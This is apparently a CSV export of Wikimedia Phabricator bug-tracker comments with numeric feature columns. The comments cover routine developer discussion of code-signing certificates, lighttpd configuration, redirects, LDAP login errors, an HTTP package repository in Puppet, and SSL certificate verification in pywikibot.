+I'm not sure - I've never had to set up a certificate for anything yet. If it's not obvious from the website, then probably not.",,,1437137596,,PHID-USER-rjtk3h6l2quifuajiime,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,2,True,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,1
+492868,Add a publisher certificate for Windows binaries,"Huggle is open source, both Microsoft and Apple are enforcing weird policies that are basically just forcing developers to pay huge money either directly to MS or Apple just so that they can publish the software ""right way"". For same reason huggle isn't on apple market. I don't really see a point in having to pay money in order to distribute free software to others. Applying for a grant, so that I could take money from people who supported wikimedia as a free movement and give these money to huge corporations who are draining money from everyone, including freeware developers doesn't look as a good idea to me. Should there be a free service that provides this, we can use it, but until then, this isn't anything that can be easily solved.",,,1437118888,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,2,True,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+492792,Add a publisher certificate for Windows binaries,">>! In T105560#1447490, @MrStradivarius wrote:
+> If you're willing to wait until September, [[ https://letsencrypt.org/ | Let's Encrypt ]] will give you certificates for free.
+
+For code signing?",,,1437092376,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1
+490493,Add a publisher certificate for Windows binaries,"If you're willing to wait until September, [[ https://letsencrypt.org/ | Let's Encrypt ]] will give you certificates for free.",,,1436632867,,PHID-USER-rjtk3h6l2quifuajiime,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+490346,Add a publisher certificate for Windows binaries,"We need a signing certificate (SLL?) for this, InstantSSL costs $179 / year. We could apply for grants from WMF and local chapters. I was also linked to https://en.sklep.unizeto.pl/data-safety/code-signing-certificates/open-source-code-signing.html which is for open source, and is only €14.",,,1436569328,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0
+490345,Add a publisher certificate for Windows binaries,"We need a signing certificate (SLL?) for this, InstantSSL costs $179 / year. We could apply for grants from WMF and local chapters. I was also linked to https://en.sklep.unizeto.pl/data-safety/code-signing-certificates/open-source-code-signing.html which is for open source, and is €14.",,,1436569293,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0
+490343,Add a publisher certificate for Windows binaries,"We need a signing certificate (SLL?) for this, InstantSSL costs $179 / year. We could apply for grants from WMF and local chpters. I was also linked to https://en.sklep.unizeto.pl/data-safety/code-signing-certificates/open-source-code-signing.html which is for open source, and is €14.",,,1436569242,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0
+101994,Document php override options for lighttpd,"/usr/local/bin/lighttpd-starter allows overriding the php configuration, by only inserting the standard config if:
+
+```
+if [ ! -r $home/.lighttpd.conf ] || [[ ! $(cat ""$home/.lighttpd.conf"" | grep -P '^(?:[ \t]*fastcgi.server[ \t\+\(=]+"".php""|#no-default-php)') ]]; then
+```
+
+This should be documented.",Lowest,10.0,1433947813,1593213982.0,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-ry3vzeybzpknmoojh32f,task_description,declined,True,c3,1,True,False,False,-4,True,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1
+1533828,Document php override options for lighttpd,Let's just close this as declined since the missing docs are actually a missing feature that the world has lived without for 4+ years.,,,1593213982,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ry3vzeybzpknmoojh32f,task_subcomment,,True,c3,3,True,,,260,True,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+1532599,Document php override options for lighttpd,"Guess once this is possible it could go to https://wikitech.wikimedia.org/wiki/Help:Toolforge/Web/Lighttpd#PHP ?
+> lighttpd-starter was replaced in the ""webservice2"" re-write and equivalent functionality was not added in the new implementation.
+For reference: {T98440} / {T98441}
+> So... ugh. We probably need some product work before we are actually ready to document this ""feature"".
+As this is a documentation task, there should be a subtask which is about developing / re-adding this functionality.",,,1593073200,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ry3vzeybzpknmoojh32f,task_subcomment,,True,c3,3,True,,,260,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+1251696,Document php override options for lighttpd,"Reading this task again I realized that the feature that it is asking to be documented actually is no longer available. `lighttpd-starter` was replaced in the ""webservice2"" re-write and equivalent functionality was not added in the new implementation. Specifically there is no magic string of config that can be placed in a tool's $HOME/.lighttpd.conf file that will prevent the default server configuration from being used. There is also no Kubernetes backend equivalent for the gridengine backend's ""lighttpd-plain"" type today.
+
+So... ugh. We probably need some product work before we are actually ready to document this ""feature"".",,,1553642039,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ry3vzeybzpknmoojh32f,task_subcomment,,True,c3,3,True,,,194,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+860101,Document php override options for lighttpd,Probably just need to document the `lighttpd-plain` backend better on https://wikitech.wikimedia.org/wiki/Help:Tool_Labs/Web/Lighttpd,,,1494883195,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ry3vzeybzpknmoojh32f,task_subcomment,,True,c3,3,True,,,97,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0
+100015,tools.wmflabs.org/xtools shouldn't give a HTTP 301 to another redirect,"Going to http://tools.wmflabs.org/xtools redirects to http://tools.wmflabs.org/xtools/articleinfo/? which gives
+```
+301 Moved Permanently
+
+This tool has moved to a new location. You will be redirected to tools.wmflabs.org/xtools-articleinfo/index.php? shortly.
+```
+http://tools.wmflabs.org/xtools should redirect to http://tools.wmflabs.org/xtools-articleinfo/index.php instead.",Lowest,10.0,1432297768,1459649475.0,PHID-USER-lsveyqlsb4acoowxr5yj,False,PHID-USER-vzo36k53hgat5bwuxsn5,False,PHID-TASK-uc6nzyttspl2ypxazaky,task_description,resolved,True,c3,1,True,False,False,-6,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+639580,tools.wmflabs.org/xtools shouldn't give a HTTP 301 to another redirect,"Fixed on the live tool, see https://github.com/x-tools/xtools/pull/90",,,1459649475,,PHID-USER-vzo36k53hgat5bwuxsn5,False,,,PHID-TASK-uc6nzyttspl2ypxazaky,task_subcomment,,True,c3,3,True,,,39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+462238,tools.wmflabs.org/xtools shouldn't give a HTTP 301 to another redirect,@Glaisher we haven't been too worried about fixing the redirects yet because we're in the process of migrating all of the tools to xtools.wmflabs.org/tool and will be going through updating them when done.,,,1432298442,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-uc6nzyttspl2ypxazaky,task_subcomment,,True,c3,1,False,,,-6,True,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,1,0,0,0
+462237,tools.wmflabs.org/xtools shouldn't give a HTTP 301 to another redirect,"err, it should be a 301 to the proper place..",,,1432297910,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-uc6nzyttspl2ypxazaky,task_subcomment,,True,c3,1,True,,,-6,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+99218,Set up LanguageTool HTTP server on Tools-Labs or Labs.,"Successfully setup LanguageTool HTTP server on Labs. 
+1. Place request for a Labs instance.
+
+Set up a server on Tools for now. Will relocate it to Labs as and when required.
+Server : http://tools.wmflabs.org/languageproofing/
+UI for testing : http://tools.wmflabs.org/languageproofing-ui/",Lowest,10.0,1431678576,1432499181.0,PHID-USER-5jrv5iukbhgvtdchqmrt,False,PHID-USER-5jrv5iukbhgvtdchqmrt,False,PHID-TASK-mh6rlvwcxrv7k4exlj3v,task_description,resolved,True,c3,1,True,True,True,-7,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+98600,"With first time login of new user, ldapauthentication extension passes empty password to User.php/saveSettings() and causes error.","I created a new user in our LDAP server since updating to the most recent MediaWiki. I use the ldapauthentication extension. But when the user tried to login, I got
+
+**PHP Fatal error:  Call to a member function toString() on a non-object in /var/www/html/includes/User.php on line 3493**
+
+which turned out to be 
+```
+'user_password' => $this->mPassword->toString(),
+```
+Adding in a check to see if the string is in fact empty, solved the issue:
+```
+'user_password' => ($this->mPassword === """" ? """" : $this->mPassword->toString()),
+```
+Please integrate this into MediaWiki. Thanks!",Lowest,10.0,1431090045,1730395625.0,PHID-USER-6cbkpzry3eod3edk2eib,False,PHID-USER-3wfzrv2a2ggwauxc52is,False,PHID-TASK-vhbskaqmu5cxoqz7ubf7,task_description,declined,True,c3,1,False,False,False,-8,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+1840587,"With first time login of new user, ldapauthentication extension passes empty password to User.php/saveSettings() and causes error.",Setting lowest priority as [this extension is unmaintained](https://www.mediawiki.org/w/index.php?title=Extension:LDAP_Authentication) and superseded by #mediawiki-extensions-ldapauthentication2,,,1641491350,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vhbskaqmu5cxoqz7ubf7,task_subcomment,,True,c3,3,True,,,340,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1
+98575,Investigate / get rid of http debian repo from toollabs,"```    # Trustworthy enough
+    # Only necessary on precise hosts, trusty has its own mariadb package
+    if $::lsbdistcodename == 'precise' {
+        apt::repository { 'mariadb':
+            uri        => 'http://ftp.osuosl.org/pub/mariadb/repo/5.5/ubuntu',
+            dist       => $::lsbdistcodename,
+            components => 'main',
+            source     => false,
+            keyfile    => 'puppet:///modules/toollabs/mariadb.gpg',
+        }
+        file { '/etc/apt/trusted.gpg.d/mariadb.gpg':
+            ensure => absent,
+        }
+    }```
+
+This code is in toollabs/init.pp, and is probably unsafe and should be killed (the URL doesn't even support https)",Lowest,10.0,1431068274,1547486869.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-n2dn5jgdjmimryrotxgk,task_description,resolved,True,c3,1,True,False,False,-8,True,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+1208949,Investigate / get rid of http debian repo from toollabs,"Seems to be gone now, probably for a very long time.",,,1547486869,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-n2dn5jgdjmimryrotxgk,task_subcomment,,True,c3,3,True,,,184,True,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+455953,Investigate / get rid of http debian repo from toollabs,"I do believe it's mostly moot by now; this was added when MariaDB was new and shiny (relatively speaking) but now that we use it in prod we probably want to use our packages instead.
+
+That said, I don't think we have //mariadb-client// on carbon and we'd want to if we switched.",,,1431083578,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-n2dn5jgdjmimryrotxgk,task_subcomment,,True,c3,1,True,,,-8,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+455898,Investigate / get rid of http debian repo from toollabs,"As mentioned on IRC; if we trust the archive key and if mariadb manages their private archive key securely that's as secure as pulling packages from a standard Debian or Ubuntu mirror (by means of Secure Apt).
+
+Adding them to the local repo on carbon would still be preferable for realibility reasons, e.g. we would still have access to the specific versions if the current packages were dropped off the mirror.",,,1431070650,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-n2dn5jgdjmimryrotxgk,task_subcomment,,True,c3,1,True,,,-8,True,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+455894,Investigate / get rid of http debian repo from toollabs,"So it's ok because we distribute the GPG key ourselves, but this should probably be in the local debrepo.",,,1431068496,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-n2dn5jgdjmimryrotxgk,task_subcomment,,True,c3,1,True,,,-8,True,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+98104,Strict SSL certificate checking,"`ssl` module may need strict checking:
+
+````
+m> env PATH= /usr/local/bin/python2.7 version.py                                                                                                              
+Retreving commit log from https://tools.wmflabs.org/pywikibot/gitlog.txt
+Traceback (most recent call last):
+  File ""version.py"", line 20, in <module>
+    pywikibot.output('Pywikibot: %s' % getversion())
+  File ""/home/saper/wikipedia/compat/pywikibot/version.py"", line 46, in getversion
+    data = dict(getversiondict())  # copy dict to prevent changes in 'chache'
+  File ""/home/saper/wikipedia/compat/pywikibot/version.py"", line 70, in getversiondict
+    (tag, rev, date, hsh) = getversion_git(_program_dir)
+  File ""/home/saper/wikipedia/compat/pywikibot/version.py"", line 192, in getversion_git
+    rev, date = getversion_git_windows(hsh, path)
+  File ""/home/saper/wikipedia/compat/pywikibot/version.py"", line 111, in getversion_git_windows
+    ff = urllib2.urlopen(url).read().splitlines()
+  File ""/usr/local/lib/python2.7/urllib2.py"", line 154, in urlopen
+    return opener.open(url, data, timeout)
+  File ""/usr/local/lib/python2.7/urllib2.py"", line 431, in open
+    response = self._open(req, data)
+  File ""/usr/local/lib/python2.7/urllib2.py"", line 449, in _open
+    '_open', req)
+  File ""/usr/local/lib/python2.7/urllib2.py"", line 409, in _call_chain
+    result = func(*args)
+  File ""/usr/local/lib/python2.7/urllib2.py"", line 1240, in https_open
+    context=self._context)
+  File ""/usr/local/lib/python2.7/urllib2.py"", line 1197, in do_open
+    raise URLError(err)
+urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:581)>
+````
+
+Workaround: [list of certificate authorities you trust](http://curl.haxx.se/ca/cacert.pem) `SSL_CERT_FILE`
+
+I think SSL certificates could/should be supplied attached to the family files, not sure where else do we connect to (tools.wmflabs.org, anything else?...)",Lowest,10.0,1430787821,1459941204.0,PHID-USER-qduasitr62ffvc5eiivd,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-5wfo3cttyajqwg7ddzug,task_description,declined,True,c3,1,True,False,False,-9,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,1,1
+641268,Strict SSL certificate checking,Won't fix in compat,,,1459941204,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-5wfo3cttyajqwg7ddzug,task_subcomment,,True,c3,3,True,,,39,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+469771,Strict SSL certificate checking,"[[https://www.mediawiki.org/wiki/Manual:Pywikibot/Installation#Two_versions_of_pywikibot | Pywikibot has two versions: Compat and Core. ]] This task was filed about the older version, called #Pywikibot-Compat, which is not under active development anymore. Hence I'm lowering the priority of this task to reflect the reality.   Unfortunately, the Pywikibot team does not have the manpower to retest every single bug report / feature request against the (maintained) #Pywikibot-Core code base. Furthermore, the code base of Pywikibot-Compat has changed a lot compared to the code base of Pywikibot-Core so there is a chance that the problem described in this task might not exist anymore.   **Please help**: Unfortunately manpower is limited and does not allow testing every single reported task again.  If you have time and interest in Pywikibot, please upgrade to Pywikibot-Core and add a comment to this task if the problem in this task still happens in Pywikibot-Core (or directly edit the task by removing the #Pywikibot-Compat project and adding the #Pywikibot-Core project to this task).  To learn more about Pywikibot and to get involved in its development, please check out https://www.mediawiki.org/wiki/Manual:Pywikibot/Development   Thank you for your understanding.",,,1433511666,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5wfo3cttyajqwg7ddzug,task_subcomment,,True,c3,1,True,,,-4,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,0,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+468058,Strict SSL certificate checking,"I see this backtrace is 'compat', which isnt maintained.
+
+Do you also experience this problem in core?  I have rewritten those lines in core.
+
+We have switched 'core' to using 'requests', so it is now possible to specify a bundle in an environment variable, and has lots of other options for adding trusted cert bundles.
+
+Regarding properly maintained certs in family files, the problem is release management.  If we release pywikibot-2.0 with a certificate for wikipedia.org , the family class will fail if that certificate is invalidated, which will mean we need to release a new version of pywikibot.  I do not see the benefit in storing certificates for normal wikis which use a normal CA.  Storing a certificate could be useful for wikis which self-sign their certificate, etc.",,,1433299601,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-5wfo3cttyajqwg7ddzug,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+453797,Strict SSL certificate checking,"Yes, I am accessing Wikimedia wikis. I get this error trying to access the API (e.g. login) but also connecting to https://tools.wmflabs.org/
+
+This is with all SSL connections with my Python (2.7.9 from FreeBSD ports), so it is not in that sense Wikimedia-specific.
+
+I think I'd rather have one CA certificate blob per site (or group of sites) instead of blindly trusting some random CA collection off the Internet. I am sure that at least for Wikimedia wikis the CA certificate will be properly maintained.",,,1430813919,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-5wfo3cttyajqwg7ddzug,task_subcomment,,True,c3,1,True,,,-9,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0
+453794,Strict SSL certificate checking,"This is with all SSL connections with my Python (2.7.9 from FreeBSD ports), so it is not in that sense Wikimedia-specific.
+
+I think I'd rather have one CA certificate blob per site (or group of sites) instead of blindly trusting some random CA collection off the Internet. I am sure that at least for Wikimedia wikis the CA certificate will be properly maintained.",,,1430811160,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-5wfo3cttyajqwg7ddzug,task_subcomment,,True,c3,1,True,,,-9,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+453752,Strict SSL certificate checking,"are you experiencing this when using pywikibot-compat with Wikimedia wikis, or other wikis?
+
+We've seen very similar problems with Wikimedia wikis, when the server had old certificates, and the problem was fixed by installing new root certificates.
+
+Either way, there is a now a per-family flag in core to disable ssl verification, which avoids this problem.  I do like the solution of allowing certificates to be attached to each family , however that is almost identical to disabling ssl verification, unless the certificates are properly maintained (i.e. checks against certificate revocation lists, etc)",,,1430791120,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-5wfo3cttyajqwg7ddzug,task_subcomment,,True,c3,1,True,,,-9,True,1,0,1,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,1,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+96145,"LoginUserMigrated hook causing Fatal Error: Argument 1 passed to CentralAuthUser::getInstance() must be an instance of User, bool given","In specialuserlogin.php:
+```
+		$u = User::newFromName( $this->mUsername );
+
+		// Give extensions a way to indicate the username has been updated,
+		// rather than telling the user the account doesn't exist.
+		if ( !Hooks::run( 'LoginUserMigrated', array( $u, &$msg ) ) ) {
+			$this->mAbortLoginErrorMsg = $msg;
+			return self::USER_MIGRATED;
+		}
+
+		if ( !( $u instanceof User ) || !User::isUsableName( $u->getName() ) ) {
+			return self::ILLEGAL;
+		}
+```
+
+Hook immediately calls `$centralUser = CentralAuthUser::getInstance( $user );`.",Unbreak Now!,100.0,1429110788,1429120494.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-TASK-qrefg3pik2zjm224t4aj,task_description,resolved,True,c3,1,True,True,True,-12,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1
